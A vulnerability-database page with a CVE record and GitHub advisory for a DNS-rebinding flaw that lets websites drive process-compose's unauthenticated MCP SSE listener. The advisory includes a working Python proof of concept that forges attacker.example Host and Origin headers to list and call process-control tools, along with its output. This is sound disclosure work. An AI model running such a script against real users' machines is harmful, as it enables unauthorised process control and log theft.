Vulnerability-Lookup

CVE-2026-77339 (GCVE-0-2026-77339)

Vulnerability from cvelistv5 – Published: 2026-09-18 16:37 – Updated: 2026-09-18 16:49

Title

Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools

Summary

Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.

Severity

5.1 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-18 16:49 UTC

CWE

CWE-306 - Missing Authentication for Critical Function
CWE-346 - Origin Validation Error

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/F1bonacc1/process-compose/secu…	x_refsource_CONFIRM
https://github.com/F1bonacc1/process-compose/comm…	x_refsource_MISC
https://github.com/F1bonacc1/process-compose/rele…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
F1bonacc1	process-compose	Affected: < 1.120.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-77339",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-18T16:49:18.961229Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-18T16:49:46.487Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "process-compose",
          "vendor": "F1bonacc1",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.120.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 5.1,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-346",
              "description": "CWE-346: Origin Validation Error",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-18T16:37:19.072Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v"
        },
        {
          "name": "https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858"
        },
        {
          "name": "https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0"
        }
      ],
      "source": {
        "advisory": "GHSA-5gm3-9crp-6g3v",
        "discovery": "UNKNOWN"
      },
      "title": "Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-77339",
    "datePublished": "2026-09-18T16:37:19.072Z",
    "dateReserved": "2026-08-20T19:24:11.618Z",
    "dateUpdated": "2026-09-18T16:49:46.487Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-77339",
      "date": "2026-09-19",
      "epss": "0.00214",
      "percentile": "0.12044"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "process-compose",
                "vendor": "F1bonacc1",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 1.120.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0."
          }
        ],
        "id": "CVE-2026-77339",
        "lastModified": "2026-09-18T17:17:00.663",
        "metrics": {
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 5.1,
                "baseSeverity": "MEDIUM",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "LOW",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "PASSIVE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "LOW",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-77339",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-18T16:49:18.961229Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-09-18T17:17:00.663",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Received",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-306"
              },
              {
                "lang": "en",
                "value": "CWE-346"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-77339",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-18T16:49:18.961229Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-18T16:49:41.201Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "process-compose",
              "vendor": "F1bonacc1",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 1.120.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "baseScore": 5.1,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "LOW",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "PASSIVE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "LOW"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-306",
                  "description": "CWE-306: Missing Authentication for Critical Function",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-346",
                  "description": "CWE-346: Origin Validation Error",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-18T16:37:19.072Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v"
            },
            {
              "name": "https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858"
            },
            {
              "name": "https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0"
            }
          ],
          "source": {
            "advisory": "GHSA-5gm3-9crp-6g3v",
            "discovery": "UNKNOWN"
          },
          "title": "Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-77339",
        "datePublished": "2026-09-18T16:37:19.072Z",
        "dateReserved": "2026-08-20T19:24:11.618Z",
        "dateUpdated": "2026-09-18T16:49:46.487Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-5GM3-9CRP-6G3V

Vulnerability from github – Published: 2026-09-18 17:17 – Updated: 2026-09-18 17:17

Summary

Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools

Details

Summary

A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.

This advisory covers https://github.com/F1bonacc1/process-compose, confirmed at commit d56aa59df04b72f8644811ac581a051bec05e485.

The issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.

Affected Code

Root cause:

src/types/mcp.go:24-30      SSE is the default MCP transport when mcp_server.transport is omitted.
src/types/mcp.go:64-70      SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field.
src/mcp/server.go:203-214   The server starts server.NewSSEServer(s.mcpServer) directly on the configured address.
src/api/routes.go:32-39     X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.

Impact surface:

src/mcp/mcp_manager.go:33-38     expose_control_tools registers built-in process-compose control tools.
src/mcp/control_tools.go:26-116  The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs.
src/mcp/control_tools.go:121-142 The registered tools return project and process state.

Reproduction

Start process-compose from the affected commit with MCP SSE and built-in control tools enabled:

workdir="$(mktemp -d)"
cd "$workdir"
git clone https://github.com/F1bonacc1/process-compose process-compose-target
cd process-compose-target
git checkout d56aa59df04b72f8644811ac581a051bec05e485

go build -o ./process-compose-poc .

cat > process-compose-mcp-poc.yaml <<'YAML'
mcp_server:
  host: 127.0.0.1
  port: 8081
  transport: sse
  expose_control_tools: true

processes:
  sleeper:
    command: "sleep 600"
    disabled: true
YAML

PC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \
  -f ./process-compose-mcp-poc.yaml \
  -t=false \
  --no-server \
  --keep-project \
  --log-file ./process-compose-mcp-poc.log

In a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps Host: attacker.example:8081 and Origin: http://attacker.example:8081 while the hostname resolves to 127.0.0.1. The script below sends that same request shape to the local MCP SSE listener:

python3 - <<'PY'
import http.client
import json
import queue
import threading
import time
import urllib.parse

host = "127.0.0.1"
port = 8081
attacker_host = "attacker.example:8081"
origin = "http://attacker.example:8081"
headers = {
    "Host": attacker_host,
    "Origin": origin,
    "Accept": "text/event-stream",
}

events = queue.Queue()

def read_sse(resp):
    event = None
    data = None
    while True:
        line = resp.readline()
        if not line:
            return
        text = line.decode("utf-8", "replace").strip()
        if text.startswith("event:"):
            event = text.split(":", 1)[1].strip()
        elif text.startswith("data:"):
            data = text.split(":", 1)[1].strip()
        elif text == "" and (event or data):
            events.put((event, data))
            event = None
            data = None

conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request("GET", "/sse", headers=headers)
resp = conn.getresponse()
print("GET /sse", resp.status)
print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin"))
threading.Thread(target=read_sse, args=(resp,), daemon=True).start()

endpoint = None
deadline = time.time() + 10
while time.time() < deadline:
    event, data = events.get(timeout=1)
    if event == "endpoint":
        endpoint = data
        break
assert endpoint, "no SSE endpoint event"
print("endpoint", endpoint)

def post(message):
    parsed = urllib.parse.urlparse(endpoint)
    path = parsed.path + ("?" + parsed.query if parsed.query else "")
    body = json.dumps(message).encode()
    c = http.client.HTTPConnection(host, port, timeout=10)
    c.request("POST", path, body=body, headers={
        "Host": attacker_host,
        "Origin": origin,
        "Content-Type": "application/json",
        "Content-Length": str(len(body)),
        "Authorization": "Bearer invalid-replay-token",
    })
    r = c.getresponse()
    r.read()
    c.close()
    print("POST", message.get("method"), r.status)

def wait_result(rpc_id):
    deadline = time.time() + 10
    while time.time() < deadline:
        event, data = events.get(timeout=1)
        if event == "message" and data:
            msg = json.loads(data)
            if msg.get("id") == rpc_id:
                return msg
    raise SystemExit(f"no result for id {rpc_id}")

post({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": {"name": "rebind-poc", "version": "1.0.0"}
    }
})
print(json.dumps(wait_result(1), indent=2))

post({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})

post({"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}})
tools = wait_result(2)
names = [tool["name"] for tool in tools["result"]["tools"]]
print("tools", names)

post({
    "jsonrpc": "2.0",
    "id": 3,
    "method": "tools/call",
    "params": {
        "name": "pc_process_list",
        "arguments": {}
    }
})
print(json.dumps(wait_result(3), indent=2))
PY

Observed Result

The MCP SSE listener accepted the forged browser-origin request shape:

Host: attacker.example:8081
Origin: http://attacker.example:8081
Authorization: Bearer invalid-replay-token

The server returned GET /sse: HTTP 200 with Access-Control-Allow-Origin: *. The MCP session then completed initialize, returned the process-compose tool catalog, and allowed tools/call to reach a process-control handler.

The operator reproduced the issue against the genuine process-compose target and observed pc_process_list returning:

{
  "data": [
    {
      "name": "sleeper",
      "namespace": "default",
      "status": "Disabled",
      "system_time": "-",
      "age": 0,
      "is_ready": "-",
      "has_ready_probe": false,
      "restarts": 0,
      "exit_code": 0,
      "pid": 0,
      "is_elevated": false,
      "password_provided": false,
      "mem": 0,
      "cpu": 0,
      "is_running": false
    }
  ]
}

Earlier replay against the same target also listed 13 pc_* MCP control tools and reached project-state and process-control calls through the SSE message endpoint.

Impact

A web attacker can drive local process-compose MCP requests from the victim browser when the operator has enabled MCP SSE. The attacker does not need a bearer token, API key, cookie, client certificate, or CSRF token.

With expose_control_tools: true, the same unauthenticated browser-origin path can enumerate process state, read logs, search logs, truncate logs, start processes, stop processes, restart processes, and scale processes. If the operator exposes user-defined MCP process tools, the attacker can invoke those configured commands and read their output.

Process logs and process output often contain service names, local paths, usernames, runtime state, internal URLs, and secrets emitted by child processes. Start, stop, restart, scale, and log truncation are process-control operations on the developer's local process-compose project.

Suggested Fix

Add a target-side trust boundary to the MCP SSE listener before MCP dispatch:

Reject requests whose Host header is not loopback or an explicit configured trusted name.
Reject browser requests whose Origin is not a trusted loopback or configured origin.
Require a random per-run bearer token or equivalent caller secret on both /sse and the returned /message endpoint.
Do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports.
Consider requiring an explicit authentication setting before starting SSE MCP with process-control tools.

Severity

5.1 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/f1bonacc1/process-compose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.120.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T17:17:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA malicious website can use DNS rebinding to control a developer\u0027s local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.\n\nThis advisory covers `https://github.com/F1bonacc1/process-compose`, confirmed at commit `d56aa59df04b72f8644811ac581a051bec05e485`.\n\nThe issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.\n\n## Affected Code\n\nRoot cause:\n\n```text\nsrc/types/mcp.go:24-30      SSE is the default MCP transport when mcp_server.transport is omitted.\nsrc/types/mcp.go:64-70      SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field.\nsrc/mcp/server.go:203-214   The server starts server.NewSSEServer(s.mcpServer) directly on the configured address.\nsrc/api/routes.go:32-39     X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.\n```\n\nImpact surface:\n\n```text\nsrc/mcp/mcp_manager.go:33-38     expose_control_tools registers built-in process-compose control tools.\nsrc/mcp/control_tools.go:26-116  The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs.\nsrc/mcp/control_tools.go:121-142 The registered tools return project and process state.\n```\n\n## Reproduction\n\nStart process-compose from the affected commit with MCP SSE and built-in control tools enabled:\n\n```bash\nworkdir=\"$(mktemp -d)\"\ncd \"$workdir\"\ngit clone https://github.com/F1bonacc1/process-compose process-compose-target\ncd process-compose-target\ngit checkout d56aa59df04b72f8644811ac581a051bec05e485\n\ngo build -o ./process-compose-poc .\n\ncat \u003e process-compose-mcp-poc.yaml \u003c\u003c\u0027YAML\u0027\nmcp_server:\n  host: 127.0.0.1\n  port: 8081\n  transport: sse\n  expose_control_tools: true\n\nprocesses:\n  sleeper:\n    command: \"sleep 600\"\n    disabled: true\nYAML\n\nPC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \\\n  -f ./process-compose-mcp-poc.yaml \\\n  -t=false \\\n  --no-server \\\n  --keep-project \\\n  --log-file ./process-compose-mcp-poc.log\n```\n\nIn a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps `Host: attacker.example:8081` and `Origin: http://attacker.example:8081` while the hostname resolves to `127.0.0.1`. The script below sends that same request shape to the local MCP SSE listener:\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport http.client\nimport json\nimport queue\nimport threading\nimport time\nimport urllib.parse\n\nhost = \"127.0.0.1\"\nport = 8081\nattacker_host = \"attacker.example:8081\"\norigin = \"http://attacker.example:8081\"\nheaders = {\n    \"Host\": attacker_host,\n    \"Origin\": origin,\n    \"Accept\": \"text/event-stream\",\n}\n\nevents = queue.Queue()\n\ndef read_sse(resp):\n    event = None\n    data = None\n    while True:\n        line = resp.readline()\n        if not line:\n            return\n        text = line.decode(\"utf-8\", \"replace\").strip()\n        if text.startswith(\"event:\"):\n            event = text.split(\":\", 1)[1].strip()\n        elif text.startswith(\"data:\"):\n            data = text.split(\":\", 1)[1].strip()\n        elif text == \"\" and (event or data):\n            events.put((event, data))\n            event = None\n            data = None\n\nconn = http.client.HTTPConnection(host, port, timeout=10)\nconn.request(\"GET\", \"/sse\", headers=headers)\nresp = conn.getresponse()\nprint(\"GET /sse\", resp.status)\nprint(\"Access-Control-Allow-Origin:\", resp.getheader(\"Access-Control-Allow-Origin\"))\nthreading.Thread(target=read_sse, args=(resp,), daemon=True).start()\n\nendpoint = None\ndeadline = time.time() + 10\nwhile time.time() \u003c deadline:\n    event, data = events.get(timeout=1)\n    if event == \"endpoint\":\n        endpoint = data\n        break\nassert endpoint, \"no SSE endpoint event\"\nprint(\"endpoint\", endpoint)\n\ndef post(message):\n    parsed = urllib.parse.urlparse(endpoint)\n    path = parsed.path + (\"?\" + parsed.query if parsed.query else \"\")\n    body = json.dumps(message).encode()\n    c = http.client.HTTPConnection(host, port, timeout=10)\n    c.request(\"POST\", path, body=body, headers={\n        \"Host\": attacker_host,\n        \"Origin\": origin,\n        \"Content-Type\": \"application/json\",\n        \"Content-Length\": str(len(body)),\n        \"Authorization\": \"Bearer invalid-replay-token\",\n    })\n    r = c.getresponse()\n    r.read()\n    c.close()\n    print(\"POST\", message.get(\"method\"), r.status)\n\ndef wait_result(rpc_id):\n    deadline = time.time() + 10\n    while time.time() \u003c deadline:\n        event, data = events.get(timeout=1)\n        if event == \"message\" and data:\n            msg = json.loads(data)\n            if msg.get(\"id\") == rpc_id:\n                return msg\n    raise SystemExit(f\"no result for id {rpc_id}\")\n\npost({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"initialize\",\n    \"params\": {\n        \"protocolVersion\": \"2024-11-05\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"rebind-poc\", \"version\": \"1.0.0\"}\n    }\n})\nprint(json.dumps(wait_result(1), indent=2))\n\npost({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}})\n\npost({\"jsonrpc\": \"2.0\", \"id\": 2, \"method\": \"tools/list\", \"params\": {}})\ntools = wait_result(2)\nnames = [tool[\"name\"] for tool in tools[\"result\"][\"tools\"]]\nprint(\"tools\", names)\n\npost({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 3,\n    \"method\": \"tools/call\",\n    \"params\": {\n        \"name\": \"pc_process_list\",\n        \"arguments\": {}\n    }\n})\nprint(json.dumps(wait_result(3), indent=2))\nPY\n```\n\n## Observed Result\n\nThe MCP SSE listener accepted the forged browser-origin request shape:\n\n```text\nHost: attacker.example:8081\nOrigin: http://attacker.example:8081\nAuthorization: Bearer invalid-replay-token\n```\n\nThe server returned `GET /sse: HTTP 200` with `Access-Control-Allow-Origin: *`. The MCP session then completed `initialize`, returned the process-compose tool catalog, and allowed `tools/call` to reach a process-control handler.\n\nThe operator reproduced the issue against the genuine process-compose target and observed `pc_process_list` returning:\n\n```json\n{\n  \"data\": [\n    {\n      \"name\": \"sleeper\",\n      \"namespace\": \"default\",\n      \"status\": \"Disabled\",\n      \"system_time\": \"-\",\n      \"age\": 0,\n      \"is_ready\": \"-\",\n      \"has_ready_probe\": false,\n      \"restarts\": 0,\n      \"exit_code\": 0,\n      \"pid\": 0,\n      \"is_elevated\": false,\n      \"password_provided\": false,\n      \"mem\": 0,\n      \"cpu\": 0,\n      \"is_running\": false\n    }\n  ]\n}\n```\n\nEarlier replay against the same target also listed 13 `pc_*` MCP control tools and reached project-state and process-control calls through the SSE message endpoint.\n\n## Impact\n\nA web attacker can drive local process-compose MCP requests from the victim browser when the operator has enabled MCP SSE. The attacker does not need a bearer token, API key, cookie, client certificate, or CSRF token.\n\nWith `expose_control_tools: true`, the same unauthenticated browser-origin path can enumerate process state, read logs, search logs, truncate logs, start processes, stop processes, restart processes, and scale processes. If the operator exposes user-defined MCP process tools, the attacker can invoke those configured commands and read their output.\n\nProcess logs and process output often contain service names, local paths, usernames, runtime state, internal URLs, and secrets emitted by child processes. Start, stop, restart, scale, and log truncation are process-control operations on the developer\u0027s local process-compose project.\n\n## Suggested Fix\n\nAdd a target-side trust boundary to the MCP SSE listener before MCP dispatch:\n\n1. Reject requests whose `Host` header is not loopback or an explicit configured trusted name.\n2. Reject browser requests whose `Origin` is not a trusted loopback or configured origin.\n3. Require a random per-run bearer token or equivalent caller secret on both `/sse` and the returned `/message` endpoint.\n4. Do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports.\n5. Consider requiring an explicit authentication setting before starting SSE MCP with process-control tools.",
  "id": "GHSA-5gm3-9crp-6g3v",
  "modified": "2026-09-18T17:17:51Z",
  "published": "2026-09-18T17:17:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858"
    },
    {
      "type": "PACKAGE",
